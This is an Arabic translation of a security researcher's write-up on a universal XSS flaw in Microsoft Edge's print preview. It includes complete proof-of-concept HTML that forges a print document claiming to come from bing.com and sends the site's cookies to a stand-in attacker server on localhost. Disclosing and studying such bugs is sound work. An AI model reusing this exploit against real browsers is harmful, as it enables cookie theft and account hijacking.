تم إعداد ترجمة المقال خاصة لطلاب دورة الهندسة العكسية .
Universal XSS (uXSS) عبارة عن خطأ في المتصفح يتيح لك تنفيذ تعليمات JavaScript البرمجية في أي موقع.
يبدو أن XSS موجود في جميع المواقع ويبدو مثيراً للاهتمام. ما هو أكثر إثارة للاهتمام هو كيف وجدت هذا الخطأ. عادة ، عندما يتعلق الأمر بـ uXSS ، فمن المحتمل أن يكون هذا بسبب عنصر IFRAME أو التشويش على عنوان URL ، لكنني لم أعتقد مطلقًا أنني أجد ثغرة أمنية في XSS باستخدام وظيفة
print()
.
نافذة المعاينة
دعونا نتحدث عما يحدث بالفعل عندما تعرض Edge نافذة معاينة قبل الطباعة.
اعتقدت دائمًا أن هناك لقطة شاشة تم رسمها بواسطة تقنية مثل
Canvas ، ولكن في الحقيقة يتم نسخ الصفحة التي ستطبعها إلى ملف
مؤقت وإعادة تقديمها!
عند تنفيذ
print()
على الصفحة ، نرى نشاط نظام الملفات التالي في
Process Monitor :

لذلك ، يتم إنشاء الملف في دليل Edge المؤقت ، ومحتويات هذا الملف هي نسخة معدلة قليلاً من الصفحة الأصلية التي حاولنا طباعتها. دعنا نقارن.
قبل الطباعة:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html>
بعد الطباعة:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META content="text/html; charset=utf-8" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> <SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT> </BODY></HTML>
هناك العديد من الأشياء التي يمكن أن نلاحظها من هذه المقارنة.
- يتم تشفير Javascript وتقديمه بشكل غير صحيح.
- يشير IFRAME الآن إلى ملف محلي آخر في نفس الدليل يحتوي على الكود
bing.com
لرابط bing.com
الأصلي. - يحتوي عنصر HTML الآن على سمة مميزة
__IE_DisplayURL
.
فيما يتعلق بالنقطتين الأولى والثانية ، أجريت عدة اختبارات. في البداية ، أردت أن أفهم ما إذا كان بإمكاني الحصول على كود Javascript صالح بعد تغيير الترميز ، على أمل أنه في النهاية يمكنني تشغيل Javascript. اتضح أن أي رمز داخل عنصر
<
script>
، عادي أم لا ، لن يتم تنفيذه.
ساعدني العنصر الثاني في الكشف عن اسم مستخدم نظام التشغيل باستخدام وظيفة
@media print{}
في CSS وسحر المحدد. تمكنت من الحصول عليها من قيمة href IFRAME. ومع ذلك ، هذا لم يكن كافيا.
في الفقرة الثالثة ، أصبحت مثيرة للاهتمام ، لأن هذه السمة غير عادية للغاية وحتى هذه اللحظة لم أقابله. لقد غوغلته على الفور ووجدت عدة مقالات ، بناءً على ذلك أدركت أن شخصًا مازو ماساتو كينوغاوا قد لعب
معه بالفعل واكتشف أخطاءً رائعة.
بعد القراءة وبعض الممارسات ، وجدت أن سياق المعاينة يتعلم من أين يأتي هذا المستند. هذا منطقي لأن Edge يفتح الملفات باستخدام
file:
مخطط URI. باستخدام هذه السمة التي تشير إلى المصدر ، ستلاحظ أن جميع الطلبات الواردة من المستند (كجزء من المعاينة) ستحاكي تمامًا نفس السلوك كما لو كانت تأتي من موقع الويب الأصلي.
كيف يمكننا استخدام هذه السمة؟ يجب أن يكون هناك بعض الطريق!
جافا سكريبت تنفيذ التعليمات البرمجية مع المعاينة
كما قلت من قبل ، سيتم حظر أي كود JavaScript في علامة البرنامج النصي العادية أو تجاهله. لكن ماذا لو فكرت في اتجاه مختلف؟ جربت كل ما يمكنني التفكير فيه ، لذلك سأوفر عليك إهدار الوقت في العديد من المحاولات غير الناجحة والانتقال مباشرة إلى هذه النقطة.
نحن هنا نتعامل مع وظيفة الطباعة ، لذلك لعبت مع الأحداث المتعلقة بالطباعة. تم إحضار النتيجة لي بواسطة
"onbeforeprint"
،
"onbeforeprint"
، أتيحت لي الفرصة لتطبيق IFRAME الذي أشار إلى أي موقع ويب ولم تحتاج Edge إلى تحويله أولاً إلى ملف. على الفور تقريبًا ، حاولت تطبيق IFRAME الذي يشير إلى عنوان URL الخاص برمز Javascript و dame! تم تنفيذ هذا الرمز في سياق المعاينة.
اختبار حقن جافا سكريبت:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html>
بعد تحويل معاينة المستند:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV> <SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </SCRIPT> </BODY></HTML>
لقطة شاشة للنتيجة:

فقط لأننا نستطيع تنفيذ التعليمات البرمجية لا يعني أننا قد انتهينا. كما قلت سابقًا ، نظرًا لسمة
__IE_DisplayURL
سيتم اعتبار أي طلب أو مكالمة واجهة برمجة التطبيقات (API) صادرة من المستند.
تنفيذ UXSS
الآن وبعد أن أصبح بمقدورنا تنفيذ التعليمات البرمجية القابلة للتنفيذ ، نحتاج إلى إنشاء "معاينة المستندات" الخاصة بنا بطريقة ما من خلال
__IE_DisplayURL
، ومن ثم يمكننا محاكاة أي موقع ويب نختاره لـ uXSS.
لقد وجدت أن استخدام
Blob URL يمكنني تحقيق التأثير المطلوب! لذلك قمت
bing.com
المستند القابل للطباعة الخاص بي مع الإشارة إلى السمة الخاصة بي إلى الموقع المستهدف (في حالتي
bing.com
). احتوى على Javascript IFRAME ، والتي كانت تعمل كما لو أنها جاءت من
bing.com
.
لقد قمت بتنفيذ الكود التالي:
if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) }
حيث
top.document.getElementById('qd').value
هي المستند المزيف التالي المراد طباعته.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML>
كل ما أقوم به هو قراءة
document.cookie
وإرسالها مرة أخرى إلى الخادم.
الآن دعونا نلخص ما تفعله النسخة النهائية للاستغلال:
- باستخدام حدث
onbeforeprint
، أقوم بإدخال IFRAME يشير إلى حمولتي قبل الطباعة مباشرة. - للتهيئة ، أدعو
window.print()
. - حافة ثم يعرض نافذة المعاينة أثناء تقديم رمز بلدي المضمنة.
- أنشأ كود Javascript المضمن عنوان URL لـ Blob يحتوي على
bing.com
القابل للطباعة على bing.com
ويعيد توجيه الإطار العلوي إلى هذا العنوان. - يعتقد سياق معاينة الطباعة أن محتويات عنوان URL الخاص بـ Blob قابلة للطباعة بشكل حقيقي وتعيين أصل المستند إلى
bing.com
باستخدام سمة __IE_DisplayURL
. - يحتوي المستند القابل للطباعة المزيف نفسه على IFRAME آخر يعرض ببساطة
document.cookie
من bing.com
. - يعمل uXSS!
الرمز النهائي والفيديو
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.onbeforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html>
روابط مفيدة:→
Microsoft.com